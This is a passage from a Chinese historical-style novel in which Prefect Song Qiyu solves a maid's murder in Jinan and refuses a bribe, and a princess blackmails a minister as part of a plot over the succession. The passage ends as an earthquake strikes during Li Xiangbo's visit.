这三个时辰,颜学礼感觉太难熬了。他想读读书,可却看不进去。他又拿起扇来扇,可身上的汗却越冒越多。好不容易过了二更,颜学礼坐不住了。他命人打水净面,又换上一套新衣服,便动身往寇府的后门去。他轻手轻脚地来到寇宅门前,依照约定用手在门板边上轻轻敲了四下,但却没人回应。颜学礼自释地笑笑,心想大概是时辰不到,人还没来。他耐着性子又等了一会儿,第二次敲响了门板。可能是这次用的劲道大了几分,那角门“吱呀”一声竟然开了。颜学礼只当是寇小姐已让人打开了大门,便闪身进入。他边趟着脚步往前走边小声询问道:“开颜小姐何在?寇小姐在哪里?”这次还是没有人回答。突然,颜学礼脚下不知被什么东西绊了一下。他一个趔趄摔倒在地,再用手往旁边一摸,一具女尸就在身侧。颜学礼吓得魂飞魄散,跳起来就往外面奔。他本想呼喊,可一来心里实在害怕,二来今天的行为不怎么光彩,于是就没敢吱声,只是踉踉跄跄地跑回了客舍。 等进了屋子,颜学礼只叫了一声“童儿”,便一屁股瘫坐在地,浑身上下抖个不停。书童举着烛台出来一瞧,但见公子脸色惨白,手上、腿上、袍子上到处都是血。他大惊失色,摇晃着公子询问怎么回事。可那颜学礼毕竟年少,哆哆嗦嗦地说了半天也没能解释清楚。最终,恐惧战胜了理智,颜学礼决定逃走。他让书童连夜收拾了行装,也没跟苗国祯辞行,就仓皇离开苗府,往济南城的齐川门撞去。 天还不亮的时候,寇府上下就炸了营。一个守夜的下人在巡逻时,发现小姐的贴身丫鬟被人杀死在后门边上。他拼了命地高喊道:“杀人了。快来人呀!丫鬟小萍死了……” 寇惟谦身为山东的刑司员外郎,负责侦讯多年,有着丰富的办案经验,不想如今这祸事竟然摊到自己头上。他一面调来捕快勘察现场,一面行文山东巡抚汇报案情。侦查很快有了眉目,因颜学礼跌倒后脚上踩了血,顺着血迹便可一路追踪到苗国祯家的客舍。又经过询问,得知住在客舍里的颜学礼主仆已经没了踪影,再看行李物品也不在房中,寇惟谦当即确认颜学礼主仆为杀人潜逃的重大疑犯。 山东巡抚单宏波考虑到此案牵扯刑司员外郎、山东学政和曲阜颜家,又怕坏了孔府至圣公的名声,便以涉事者避嫌为由,将案件转交给济南府宋启愚处置。 第二十五回3 知府破奇案 当天下午,宋启愚带人来到寇宅。在勘察了现场后,他不敢耽搁,立即开出了飞签火票,令毛小带着几名警巡和十几个捕快前往曲阜,捕拿颜学礼主仆。其后,他又叫来仵作查验尸体。经过检查,仵作发现,丫鬟小萍是被人用钝器击破头颅而死。由于死者是小姐的贴身丫鬟,所以,宋启愚对寇小姐进行了传唤。宋启愚说:“小姐莫怕,本官问话你只管据实回答,不得刻意隐瞒。”起初,寇小姐还能正常回话,可当问到丫鬟小萍什么时候离开以及为何会到后门去时,小姐只是惊惧发抖,基本无法回答问题。宋启愚不便再问,就对其安慰了几句,并让其家人好生照顾。至夜,击破丫鬟头颅的凶器在后院的花坛泥中被找到,乃是锁门用的铁质长销。宋启愚找到寇惟谦,要他约束府上人员,无事不得离开府邸。 回到府衙后,宋启愚连夜叫来本府的刑司主事张硕,问道:“张主事,就目前掌握的情况看,本官有几点疑问。第一,那颜学礼乃饱读诗书之人,并非盗寇之徒,因何会在夜晚去往寇家?第二,丫鬟小萍本该侍候在小姐身边,为何会在半夜被人杀死在后门之内?第三,若说颜学礼果真与那丫鬟有私,完全可以找寇家商量,买回那丫头,又怎么会入室行凶呢?第四,从血迹上看,那颜学礼并没有注意自己身上沾血,是从作案现场直接返回的客舍,他又怎么会把凶器埋在花坛之中呢?”张硕开口说:“大人所言有理。颜学礼确实没有作案动机。只是,他为何要连夜逃跑,难道真的做贼心虚不成?”宋启愚点头说:“也确实不能排除这种可能性。我们不妨设想一下,颜学礼因某种原因晚上去了寇府。丫鬟小萍为其开门。两人窃窃私语后,发生了争执。颜学礼恼羞成怒顺手抄起树在门边的铁销,一棍轮下,小萍当场毙命。其后,颜学礼又将铁销草草埋入花坛,跑回了客舍。接着,他又连夜逃离了济南。那么,疑问来了,他们争执的过程为何没人见证?”张硕笑笑说:“也许,颜学礼早就盘算好了。他到达寇府后,不由分说,抄起铁销就向小萍砸了下去。”宋启愚又说:“今日下午,你跟着我也向苗学政了解过情况。据苗学政所言,那颜学礼只有十七岁,跟着父亲颜春霖来济南宣布教谕,在本地并无熟人。近几日,他一直在游山玩水,与那小萍也无瓜葛,怎会平白杀她呢?”张硕摇着头说:“其实,下官对此也是百思不得其解。一切还要在抓住颜学礼之后才能解答。” 张硕离开后,宋启愚叫过曹可用和余天锡,对他们说:“今天的案件不光牵扯到几位山东的官员,还关系着至圣公的脸面,不能轻易下结论。不过,从各项证据来看,我更倾向于寇府内的人员作案。因为,若是外面的人所为,他们怎么会不带凶器,而事后又不把凶器带走呢?且面对生人,那死者虽然无力反抗,但却一定会拼命嘶喊。可我们询问寇府的人得知,当晚他们府中并不嘈杂。所以,我判断,也许是丫鬟小萍悄悄来到后门时,正好撞破了某人的密事,而小萍自己的事也不敢让人知道,故而没有喧哗。而那人怕小萍事后告发,便临时起意杀人灭口。” 第二十五回4 知府破奇案 曹可用说:“宣道说的自然有理。你就说我们该怎么办吧。”宋启愚摸了摸脸边的白色蜗痕,说道:“因为怕颜学礼潜逃,我白天除了派毛小他们去曲阜抓人外,还派吴襄带着人四处锁拿,明后天就应该有消息。从明天起,你们带两拨人,分别潜伏在寇府的前后门外,监视打寇府出入的人员。同时,我会命令看管案发现场的衙役撤回来,让寇府的人放松警惕,看看近几日会有什么人跳出来。”曹可用和余天锡拱手称是,接受了宪命。 自打早晨从济南城逃出后,颜学礼主仆一路疾走。他们本欲向南往曲阜去,可却晕头晕脑地向东奔向了章丘。天快黑时,又累又饿又害怕的颜学礼投宿在了圣井村的一户人家里。第二天一早,天刚蒙蒙亮,颜学礼就听屋外一阵大乱,紧接着,就有警巡闯了进来。吴襄一脸严肃地跨进门槛,说道:“颜公子,东窗事发怎能一走了之。我们大人请你回去,把事情解释清楚。” 儿子犯事的消息也在这天传到了曲阜,颜春霖简直不敢相信自己的耳朵。他暴怒地喊道:“家门不幸呀!斯文败类!小畜生怎么能干出这等伤天害理的事情呢!这个孽子不但辱没了父兄,还有可能毁了公爷的清名呀……”但他冷静下来之后,又一寻思,颜学礼不是残暴之徒,绝不会杀人害命。经过一番思想斗争,他还是去求见了至圣公,希望公爷能出手帮助自己救救儿子。 颜学礼被押回济南后,宋启愚命人将主仆二人分别收监。在最初的审问中,颜学礼还想隐瞒与寇小姐的那段缘由。但在第二次被提审时,尤其是听说书童已将前述事情尽皆招供之后,他便将自己对寇小姐一见倾心、如何约定见面以及相约的细节全都交代了出来。当拿到了那条绣有寇开颜名字的手帕时,宋启愚一下子就把整个事情都想通了。宋启愚命人把牢头叫来,让他单独关押颜学礼,并一再嘱咐要善待这个少年。 次日,颜春霖带着一封至圣公的亲笔信赶到了济南。他顾不得什么公府体面,径直来到知府衙门。宋启愚很客气地把他请进了二堂。寒暄之后,颜春霖先用长子颜学仁的名义,与宋启愚套近乎。宋启愚笑笑说:“世伯不必如此。我与学仁有同年之谊。世伯此来,必有要事,不妨直言。”颜春霖拿出至圣公的书信,双手递给宋启愚说:“宋大人请看,这是至圣公爷亲手书写的信件。公爷赞扬宋大人是当世能臣,希望大人能查明此案。公爷还表示颜学礼绝不会是杀人凶手,请大人务必还他清白。”宋启愚恭恭敬敬地展开书信,就见信纸上只写了三个字。其中,后两个很清楚是“青天”二字,但第一个却不是独立的字,而是上面一个“法”字被“口”字围着,下面写了个心字。 第二十五回5 知府破奇案 颜春霖解释说:“公爷想让大人保住至圣的清名。即使颜学礼真的做了错事,因死者地位卑微,还请宋青天法外施恩。”宋启愚拿信纸的手有些发抖。他尽量平复着内心的波澜,开口说:“至圣公对颜家的情谊感人至深。晚辈又怎敢给至圣公的脸上抹黑呢?不过,我想公爷也是怕世伯着急,做出更大的错事,才给世伯写下此信的。世伯请看,这‘口’字乃是‘国’字的外框,而这‘青’字乃是去掉树心的‘情’字。公爷的意思是‘国法无情,方为青天’。还请世伯体谅至圣公的良苦用心。”颜春霖看宋启愚并不买账,又从怀中抽出一份礼单,双手放在宋启愚面前,说道:“贤侄说的对。老夫来得匆忙,不曾带得许多礼物,这些腌臜东西贤侄先收下,待老夫回去,定会筹措重金感谢贤侄。”宋启愚霍然站起。他压抑着心中的愤怒,走到颜春霖面前,先将礼单奉还,又施了一躬,真诚地说:“世伯。至圣先师对天下人有大恩,宋某不敢忘记。颜家跟从至圣公已有十数代,世世忠君爱民、清廉自守。多少年来,颜家的风骨一直是我辈尊崇、敬仰的典范。在这一点上,宋某也一直对颜家钦佩之至。不想今日,世伯却要逼迫宋某收取贿赂,违背良心。世伯的心思我明白,无非是爱子心切,要我偏袒颜家,对颜学礼从轻处置。但世伯也应明白,天道昭昭,国法煌煌。若我今天答应了你的请求,做出了有违天理的事情,那岂不是辜负了圣人的教诲吗?我以后还有什么脸面去见圣人,去面对天下的百姓。说实话,宋某并非不好名、不图利,只是君子爱财取之有道,不合标准、来路不正的利益,我是一丝一毫都不会染指的。还请世伯收回礼单,不要难为小侄。”此时,颜春霖有些无地自容。他尴尬地说道:“宋,宋大人,是,是老朽唐突了。”宋启愚看老人悲戚的表情,有些于心不忍,又补充道:“世伯也不必太过焦虑,据我所查颜公子并不具备杀人条件,或许凶手另有他人。如您所言,我与学仁本为同年,我又怎么会随意刁难他的兄弟。请世伯放心,虽然目下公子受些委屈,但我定会全力缉凶,查明真相,还天下一个清白。”颜春霖望着眼前这个正直无私的年轻人,恭敬地施了一躬说:“圣人曰:人能宏道,非道宏人。宣道先生人如其名,老夫领教了。”宋启愚也赶紧回了个礼说:“世伯谬奖。世伯还是先去见一见三公子。至于破案洗冤的事,我们从长计议。” 几天之后,曹可用那里有了重大突破。他在晚间,发现一个背着包裹,匆匆潜出寇府后门的人。曹可用带着人一路跟踪,来到东湖附近的一所民居处。为了保险起见,曹可用先让人回去报信,又亲自攀上墙头,观察屋内的动静。就听房里先有“稀里哗啦”一阵响动,接着便是窃窃私语的声音。曹可用听不清楚,就让两个警巡在墙上戒备,自己翻身跳进了院中。他来到窗前,向屋内观瞧,就见一个白净面皮的中年男人正坐在椅子上大口地喝着茶水,一个略显富态的女人点数着倒在桌子上的散碎银钱,低声说:“可吓死我了,还以为你出事了。咋这回拿的这么少呢?”那男人开口道:“知足吧。中秋前,寇大人准备查账,要不是急着往回拿这点钱,也不至于出人命。”那男人突然跳起来,说道:“你快拿个火盆来,先烧了这包衣物。这几天官府盯得紧,根本不敢动。”女人丢下手里的钱,转身出屋去往柴房。曹可用琢磨不能让他们毁了物证,便示意手下现在动手。当吴襄带着一队警巡赶到东湖的时候,曹可用已将两名嫌犯顺利拿下。 第二十五回6 知府破奇案 在公堂上,宋启愚身穿官服坐在明镜高悬匾额下。他一拍惊堂,满脸杀气地盯着被抓的白脸男人,厉声问道:“监守自盗,偷窃主家,杀人害命,诬陷忠良,如今你东窗事发,证据确凿,还不将所犯罪行从实招来。”站堂的衙役们将水火棍往地上用力一戳,齐声喝道:“快招!”那受审的人早已瘫软在地,现在更是吓得真魂出窍,随即便供认了一切。 原来,白面男人名叫姜登莱,是寇府的管库先生。他仗着寇惟谦的信任,经常以磨损消耗的名义,从寇府的库房中偷盗碎银,然后,再乘夜拿走,交给他老婆,也就是那个被捕的女人。这次,因寇惟谦即将查账,他便在那日晚间背上包裹,准备潜回家中。他正在开后门的时候,丫鬟小萍突然出现。那丫头看他神色慌张,又见他背的包袱沉重,便威胁说要告发他。姜登莱先是递上银子,想封住丫鬟的嘴。可那小萍贪心不足,开口索要更多钱财。姜登莱既怕又怒,随假意应允,掏出两锭大银,装作失手滑落。结果,在小萍捡拾银两时,他抄起门边的铁销就向对方后脑狠命砸下。杀死小萍后,姜登莱先把铁销草草埋进后园的花坛中,又拿起包裹想送回家去。但就在这时,有人轻敲后门,他不敢耽搁,赶紧跑回自己房中,换下沾血的衣裤,洗净了手脸。他知道寇惟谦不会让人搜查库房,便将所偷银钱和那些衣物都藏在了库柜中。直到几天后,他才有机会潜回家去,结果却被曹可用等人抓了个人赃并获。 真相大白。宋启愚拿过师爷记录的口供仔细看后,又让师爷给姜登莱读了一遍,确认无误,随命他签字画押。宋启愚又提审了姜登莱的老婆,取了她的口供,然后将二人一并收监。 其后,宋启愚派人去把山东巡抚单宏波、刑司员外郎寇惟谦、山东学政苗国祯和曲阜颜春霖全都请到府衙,并当堂审结了该案。姜登莱以偷窃主家、杀人害命被判斩刑。姜妻因窝藏脏银、包庇罪犯被发往边城为奴。丫鬟小萍虽有贪念,但人已被害,实属可怜,由寇家出资为其安葬,料理后事。颜学礼受人陷害、其实无罪,着当庭释放。 在开释颜学礼后,宋启愚又在后堂跟寇、颜两家说明了前情。单宏波哈哈大笑说:“既然令郎与令嫒有此情缘,本官就为你两家做了这个月老,你们看如何呀?”颜春霖和寇惟谦见巡抚大人都发了话,也表示同意。至此,这件奇案彻底终结。 几天后,至圣公得知了此案的侦破过程和判决结果。他亲自书写了“青天再世”四个字,并制成匾额,派人送给了济南知府宋启愚,以此表示对其才干的欣赏和褒扬。 中秋前夜,宋启愚在府内大排宴宴,款待全体属员和警巡。所有人的心情都很舒畅,这顿酒直喝到三更才告结束。 第二十五回7 知府破奇案 已经微醺的宋启愚攀着曹可用和吴襄摇摇晃晃地起身。曹可用又拉着毛小和申鲤。余天锡还算清醒,他和宋承康、伍名前后照应着,把众人架进了后宅门。宋启愚指着天上的明月,喊道:“你们看,光裕寨。太、太公,父亲,母亲,还有,还有二叔,真儿,小弟,你们看见没有,他们,他们,还有好多乡亲,他们正在冲我们笑呢。”他又抓住申鲤的手说:“光照,几年不见,你咋变白了,咱团练军可别给我带垮了。”到了院子中间,宋启愚又一指天上的星星说:“哎,襄阳的父老们来了。你们过得好吗?有啥委屈就去找余先生,我给,给你们做主。”毛小听了这话,蹲在地上哭着说:“我,我有点想襄阳了。”宋启愚拍拍他的肩膀说:“再造,别哭,只要打败了柔然,我们就能重建家园。”他又拉住曹可用,乜斜着眼睛说:“颜春霖、至圣公,你们怎么能,这么看不起老百姓呢?什么为尊者讳!什么圣人名节!没有普通人,你们,你们什么都不是。”这时,韩丽华带着丫鬟从屋里跑出来迎接丈夫。宋启愚扎进夫人怀里,说道:“夫人,你和真儿跟着我受苦了。我整日忙于政务,太累了。等天下太平了,我就,我就辞了这官身,带着你们周游各地,让,让你们也快活快活。”韩丽华的眼泪夺眶而出。她用衣袖轻轻拭了拭眼角,说道:“老爷,咱不说天下的事了,今天累了,回屋休息吧。”宋启愚摇摇头说:“不,不,不,这边有这么多好兄弟,我要跟他们在一起。”余天锡凑过来对韩丽华说:“婶子,宣道大有些醉了。您扶着他先回屋休息。其他人我都安排到我房里去住。大人要是有什么吩咐,您随时让丫鬟来叫我。”韩夫人点头应允后,和丫鬟们架着宋启愚回了房间。 次日天明,宋启愚把吴襄等人叫到二堂,对他们说:“昨日宴饮之前,我曾做了个章程,要跟你们商量,不成想,一时贪杯,竟然醉了过去。这济南的驻军虽说有七八千人,但治安情况却远不如襄阳。所以,我的意思是仍由长白牵头,组建济南警巡大队,维持社会秩序,保障地方安全。你们看如何?”吴襄一拍大腿,说:“好呀。我就等你这句话呢。”余天锡也点头说:“规章制度,训练操典都是现成的,略加改动就能用。前两天,崔同他们说,我那些炮再不用用都快锈住了。”毛小等人更加兴奋。申鲤说:“这下,可算有事做了。训练、出操就交给我们弟兄好了。”最终,宋启愚决定,组建两千人的济南警巡队。 八月二十七,在曲阜文庙前,数以万计的炎黄子孙盛装默立,按序参拜,出席祭孔大典。宋启愚站在官员队伍当中,眼望着先师孔子的牌位,心中默念:“我宋宣道不贪财,不谋权,不偏私,不置产,一心为民,两袖清风。求圣人庇佑,只要我肯努力,就能让天下人不独亲其亲,不独子其子;使老有所终,壮有所用,幼有所长,鳏寡孤独废疾者,皆有所养。实现此愿,我心足矣。” 礼乐悠悠,祭舞翩翩,袅袅的青烟升上云霄。突然,从远方刮来一阵秋风,天边的乌云也开始聚集,一场秋雨即将来临。 第二十六回1 公主的野心 同泰九年十月,当朝太后薨逝了。 同泰帝绰朝十日,哀悼母亲。按照礼制,豫王、齐王等成年皇子全都要进宫为太后守丧。在一众皇子中,扬王跟祖母的关系最亲近。他身穿孝服跪在太后灵前,不眠不休,痛哭不止。到了第六天,石坦在又一次大哭之后,竟然晕厥了过去。众兄弟赶紧抱起石坦,呼唤捶打,又叫来御医给扬王切脉,忙活了好一阵子,才将石坦唤醒。石坦抓住豫王和齐王的手,流着泪说:“大哥、三哥,众位兄弟,石坦向来看重亲情。想起咱们小时候,皇祖母把我和二位兄长带在身边,快乐玩耍的场面历历在目,不想,祖母竟然抛下我等西去了。兄弟们也知道,我石坦没什么本事,也没有大的志向,只愿长辈平安,兄弟和睦,快快乐乐,了此一生。如今,皇祖母不在了,我心绪烦乱,不愿再担差事。我想等大丧过后,向父皇请旨,前往荥阳为祖母守陵。”石均和石坚听兄弟说得真诚,也都掉下了眼泪。石坚抚着石坦的背,说道:“五弟啊,你的孝心兄弟们都看见了。你以往对三哥的情谊,哥哥记着呢。既然你决议要给皇祖母守陵,哥哥一定帮你完成这个心愿。兄弟府上,三哥会经常派人照应,不叫出任何差池。”石均也说:“老五呀,要不是父皇还有要务交给我办理,兄长就陪着你为太后守陵了。咱这二十几个兄弟,若论孝心和诚心,谁也比不上老五。今后,大哥对待五弟的儿女会象对待自己的儿女一样,你就放心好了。”其他兄弟也说了一些安慰的话,才又散开,各自跪回原位。消息传到同泰帝耳中,同泰帝也很感动。他对白晨说:“世人皆言,皇家亲情冷漠。吾儿石坦孝心可嘉,朕心甚慰。你去给扬王传旨,允许他去荥阳守陵。”他又补充说:“传旨时,语气务必亲和。传旨后,替朕安抚安抚这个孩子。等过些日子,朕还有恩赏给他。叫他好生将息身体,不要太过难受。”白晨轻声回答说:“陛下节哀,奴才这就去宣旨。” 皇太后下葬后,石坦直接留在了祖母的陵山。齐王石坚建议皇帝顺便到正在建设的泰陵去看一看。于是,同泰帝便带着一众皇族和大臣前去查看自己的皇陵。一看之下,同泰帝大为光火,不但陵区建设进度迟缓,就连所用的材料他也不甚满意。由于宰相担任山陵使是当时的通例,所以王克明难辞其咎,很快便成为了众大臣弹劾的对象。这次,同泰帝没有再包容王克明,回京后即下旨将其撵出了汴梁,改任云贵节度使。与此同时,同泰帝升任原岭南宣慰使赵松寿为宰相,升任原疏密使刘睿为副宰相,升任原枢密副使周亮为枢密使。 对于这样的安排,副宰相冯体仁非常失落。他郁郁寡欢地坐上大轿,准备回府。天阴沉沉的,刺骨的北风卷过街市,驱赶着行色匆匆的路人。刚到文昌街,突然有个小太监跑来向冯体仁宣谕,说静福公主召见。冯体仁急忙命令转道前往公主府。 第二十六回2 公主的野心 在公主府正厅,冯体仁恭恭敬敬地给静福公主施了大礼。静福公主笑着说:“冯相请起。坐下说话。”待内侍献上茶点,冯体仁拱手说:“今日公主宣见,不知有何赐教。”静福公主屏退左右,说道:“前日,皇上任赵松寿为相,刘睿为副相,位次均在你之上,你可知为何?”冯体仁大吃一惊,心想,这位平日里似乎不太关心国政的公主这次对人事怎么会如此上心。他陪着笑说:“赵大人国之干臣,能力超群;刘大人功勋卓着,才堪大用;陛下圣明烛照,知人善任,微臣心悦诚服。”静福公主轻笑一声说:“冯相谨慎得过头了吧。是齐王向本宫推荐的阁下,冯相还要在我面前打官腔吗?先前,雷思平外放,已经砍断了豫王的一条手臂。如今,王克明又罢相,豫王在朝中更是势微。若现在任命先生为宰相,那么齐王的势力是不是就太大了呢?一旦引起了圣上猜忌,冯相哪里还有回转余地。因此,本宫才向皇兄举荐了赵松寿和刘睿。先生这么聪明,当知本宫的良苦用心才对啊!”冯体仁二次跪倒,磕了个头说:“公主的见解高屋建瓴,确非我辈所能企及。冯某之前仅仅考虑了齐王殿下的势力增长,和我个人的官位上升,却忽略了皇上的感受,虑事的确不周,也险些误了国家大事。微臣拜谢公主训教。今后微臣若有其它不当,还请公主多加提点。”静福公主示意他起身,又接着说:“冯相不必客气。你是齐王亲信,又是朝廷重臣,才思敏捷,做事谨慎,似乎没有什么事需要本宫赘言。”冯体仁又作了个揖说:“公主与圣上和齐王都是微臣的主子。公主有什么事情,就请明言。但凡是主子们议定的,微臣不敢违误。”静福公主眯缝着眼睛看了看冯体仁,从桌案上拿起一叠文扎,递给他说:“冯相,这些人都是你提拔的吧。卢庆春通过你夫人的堂弟给你使了五万两银子,谋了个苏州知府。谭琴帮着你弹劾雷思平,又向你行贿了一万两,外放为赣南知州。黄立新为了保住官位,送了个小戏班供你淫乐。还要本宫把这些人的底细都揭开吗?”冯体仁的头上渗出了大滴的汗珠。他注意到那叠文扎里不但记录了几十个向自己行贿官员的姓名、身份、贿赂金额,还写有中间人的姓名和行贿的细节。冯体仁两腿一软,长跪在地,哭着说道:“微臣糊涂啊!请公主对微臣治罪。”静福公主端起茶碗,轻轻吹了吹,又喝了一口说:“这茶刚刚泡出点滋味来。哦,冯相怎么还当真了。既然这样,这些东西就交给你自行处理吧。其实,本宫并没有太多奢求,只想冯相遇事多为本宫筹谋,保住本宫的一世富贵。”冯体仁磕头出血,又哆嗦着将那些文扎收进怀中,才说:“公主雅量实在令微臣钦佩。公主放心,今后,但凡公主差遣,微臣不敢推辞。”静福公主见自己的目的已经达到,又说了几句安慰的话,放冯体仁去了。 第二十六回3 公主的野心 待冯体仁走后,静福公主笑着击了两下掌,说道:“你们都出来吧。”随着话音,从后堂走出两个人,分别是大太监白显和内阁执政温国刚。白显满脸堆笑地说:“主子,您可真厉害。那冯体仁平常横得很,除了皇上和齐王,哦对了,还有个白晨,他把谁放在眼里过!没想到在公主面前这么快就受了囧。”温国刚也溜须说:“公主的手段比那些皇子们高明百倍,不显山不露水就能控制一个宰相。如今,驸马爷晋封了江南宣慰使,公子爷又出任了内廷郎尉,再加上刚刚被您提拔的两个宰相和这个冯体仁,可以说,满朝都是公主的亲信呀。”静福公主让他们落座,说道:“现在这么说还为时尚早,赵松寿和刘睿跟皇上的关系相当亲近,不然也不会让他们当宰相。虽然今天,本宫压了冯体仁一头,但要让他对本宫惟命是从,恐怕并非易事。在所有大臣当中,本宫能够推心置腹的,只有你们两个。白显以前是本府的奴才,这以后吗,只要你努力替本宫办差,早晚叫你坐了白晨的位置。至于温相吗,本宫对你父亲有救命之恩,对你也有提拔之情。虽然你现在只是个执政,但五年内,本宫保你当上正牌的宰相。”白、温二人又是作揖又是磕头地感谢了公主一番。静福公主接着说:“刚才冯体仁来之前,本宫说到皇上的身体每况愈下,脸色潮红於肿,前次翻梦柔的牌子,整晚盗汗,数次起夜。上月为太后治丧,他的右手经常颤动。我搀扶他时,发觉他手心冰凉,头上也有虚汗。以此判断,我这位皇兄恐怕寿数不长啊。倘若皇上果真西去,你们说本宫该让谁继承皇位呢?”温国刚拱手说:“若论睿智英明谁也比不上公主殿下。只是,公主一再表示,自己只想在幕后掌权,并不愿谋求大位。那么,公主就应该扶立年纪幼小、资质平庸的皇子继位。另外,这个皇子最好跟公主关系亲近,才更易控制。”白显躬身说:“皇十九子石垚今年只有四岁,生母乃是驸马爷的堂妹秦召容,正合公主要求。”静福公主想了想,点点头说:“嗯。石垚确实是个不错的人选,侄儿加外甥跟本宫也足够亲近。本宫会着意培养他的。”温国刚又一拱手说:“公主,现在齐王、成王包括豫王这些成年皇子仍然势力强大,我们该怎样削弱他们呢?”静福公主微微一笑说:“首先还是要增强我们自己的力量,尤其是控制京城的禁军。本宫已经拉拢了侍卫亲军司的赵义廷。他对九年里没有获得晋升耿耿于怀,正好为我所用。其次,温相可以继续挑拨那些王爷们的关系,让他们不断地争斗。第三吗,现在正值国丧期间,皇上不会到永春宫去。我看那石坚和石堃俱是好色之徒,听说那石坚连府上的奶妈也不放过。白显不是跟他们手下的白登等人很熟吗?抽个机会,让那几位好色的王爷见识一下宫里的春色,还愁抓不住他们的把柄吗?最后,就是本宫仍要低调韬晦,不能引起皇上的猜疑。以后,没有我的召见或者不奉旨,你们尽量不要到我的宫里来。有事本宫自会派人跟你们联络。”白显和温国刚跪伏于地,接受了指令。 第二十六回4 公主的野心 腊月初八,宋启愚正在喝夫人熬制的腊八粥,宋承康拿着一张名刺跑了进来,说有人求见。宋启愚接过名刺一看,欣喜地说:“新任滨州同知造访。你快去叫一下邝玄先生,我到门口去迎接。” 宋启愚带着邝玄出了二门,一张熟悉的脸迎了过来。那人笑着拱手说:“宣道大人,邝玄老哥,京师一别已有数载,可把我给想坏了。”宋启愚一拱手说:“向波兄,别来无恙。宋宣道给你见礼。”邝玄上前亲热地拉住李向波,说道:“兄弟里面请,你这个沂水知县,今天来了济南,哥哥可得好好招待招待你。”李向波呵呵笑着说:“兄长不知,小弟新补了滨州同知,这是途径贵地,特来看望宣道老弟和老哥的。我听说,这几年,宣道大人造福地方,政绩匪然;老兄你也修了不少工坊,给老百姓带来了实惠,我这心里很是快慰呀!”说到这儿,李向波向后招手叫过一个小跟班,说道:“可儿,过来见过宋大人和邝老伯。”那小跟班向前疾走几步,跪在地上就给宋、邝二人磕头,嘴里发着奶声说:“杨可拜见宋青天。拜见邝老伯。”宋启愚先说了个起,又转向李向波,问道:“这少年郎是……”李向波笑着说:“她不是什么少年郎,而是个小姑娘,十岁啦。你们知道,沂水北边总是闹响马,为了方便,我才叫她女扮男装。”宋启愚一边向府内让着李向波,一边说:“既然如此,先往里请吧。待会把她交给二夫人,恢复她的丫头装扮。” 在内衙的厅堂中,宋启愚、李向波和邝玄彼此讲述了这几年的经历。说到高兴处,三人哈哈大笑;聊到难过时,三人又扼腕叹息。相谈正欢之时,韩丽华扯着个小姑娘走了进来。她先给李向波和邝玄见了礼,然后说:“你们看,这女娃穿上这一身漂亮吧。就是大了些。我听她说她母亲很早就不在了,她父亲跟着人在咱济南开药铺,这次是来投奔她父亲的。”李向波接过话说:“这丫头可怜。她外公原是我衙门里的一名师爷,今年春上没了。老人在病重时,跟我说,她的两个舅舅容不下她,托我把她带到济南,交给她的亲爹照看。这不,我就把她捎来了。”宋启愚问那丫头:“杨可,你父亲叫什么?在哪里开的药铺?”杨可欲跪下回话,被宋启愚制止住,并让韩丽华给她找了个墩子坐。杨可说:“我父亲大号唤作杨波。在齐川门边上开了一家鲁杏林药铺。我只知道这些,其他的都不清楚。”宋启愚想了想说:“这家药铺我有印象,规模不大。我虽然不认识你父亲,但药行的辛掌柜和白掌柜我还是识得的。一会儿,我便安排人带你去,父女相认。”韩丽华在一旁开口说:“她父亲好几年都没有去沂水看过她,想来生活上并不如意。这丫头聪明伶俐,跟着她外公还读过几年书,若放在药铺里,岂不耽搁了。如果老爷同意,我想把她留在府里,继续供她读书学艺。”宋启愚还有些犹豫。李向波高兴地说:“那可太好了。这丫头是几辈子修来的福气呀!可儿,还不快给老爷和夫人磕头。”杨可急忙跪在地上,磕起头来。 第二十六回5 公主的野心 几个人又聊了片刻,宋启愚站起身说:“向波兄先坐,我到前衙处理一些公事,一会儿便回。近几日,我陪向波兄到济南的各处名胜去转一转,再到邝先生新建的风车工坊去看一看。这个年也在我这儿过,咱们好好热闹一番。”李向波笑眯眯地躬身称谢。宋启愚又一拱手,往前面办差去了。 过了七八天光景。这一日,宋启愚招待李向波吃罢了晚饭。邝玄又邀请众人到他屋里喝茶叙谈。谈论间,李向波说:“宣道,今天看了你组建的警巡队,我很是感慨。跟城防军比,你的队伍纪律严,风气正,待人和善,对地方治安的提升效果非常明显。我随意问了几个老百姓,他们说每天听到警巡队在街上喊操,心里都很踏实。”坐在旁边的吴襄笑着说:“李大人,警巡队虽然不是军队,但我训练他们可比城防军严格得多。再说,咱这两千警巡是实打实的两千人,没有人吃空额,也没有人敢喝兵血。谁练的好,谁巡的好,谁干的多,谁负责任,我就奖励谁,反过来,谁要是出了差错,我也惩罚谁。平常,我们这些大队长、队长、巡长跟警巡们同吃同住同操练,谁也不会不服气。”宋承康接话说:“宣道大人还经常到警巡队查看,给警巡们讲课。您想想,这普天下的老百姓有几个能经常见到父母官的?他们做起事来,能不卖力气吗。”李向波不住地点头说:“还是宣道大人的办法多呀。要是我有这样的主意,县城北边的那些响马,我早把他们剿灭了。”宋启愚端起茶碗,呷了一口,又说:“创建警巡队花费巨大,光这两千人的队伍,每年至少需要投入两万两银子。这些钱不能从公费里面出,我只能自己承担。不过,这些钱必须花,跟地方经济的发展和社会秩序的安定比起来,这种投入是值得的。其实,我原先也想过改造城防军和衙役,但收效甚微。城防军的体制和衙役队伍的恶习都是很难改变的,所以,我只能另寻出路。”李向波笑呵呵地听着,正欲喝口茶,突然,几个人同时感到地面和家具以及周围的物品全都在轻轻晃动,就连桌上的茶壶和茶杯也都偏离了原位。曹可用反应最快,大喊道:“不好!地震了。宣道,长白,快到院子里去。”然后,他一个箭步冲到门边,又对众人说道:“快走。我再去唤公子和弟妹她们出来。” 待众人来到院中,宋启愚定了定心神,说道:“大家不要慌。或许地震的不是我们这里。”他转向吴襄又问:“长白,你有没有听到咱的马叫?”吴襄愣了一下说:“没有。包括白天咱们去警巡队的时候,所有的马都很安生。”宋启愚轻轻舒了口气说:“那就不是济南了。这灾难不知道降到了哪里。”他又转头对吴襄说:“我想,现在全城的百姓一定都很慌张。你马上赶回警巡队,先派些人沿街呼喊,说明地震的不是济南,让大家安心。同时派人知会各个衙门一声。然后,往商业街区、寺庙和大户聚居的地方派驻些警巡,以防有贼人趁乱抢劫。”吴襄答应着正要走。宋启愚补充道:“对了,还要当心着火走了水。”宋启愚又对邝玄说:“邝先生,济南的工坊刚刚建完,不知道会不会受影响。你马上到工坊去看一看。另外,检查一下库房里的粮食,看有没有损失。”邝玄一拱手,答应一声,也去了。 第二十六回6 公主的野心 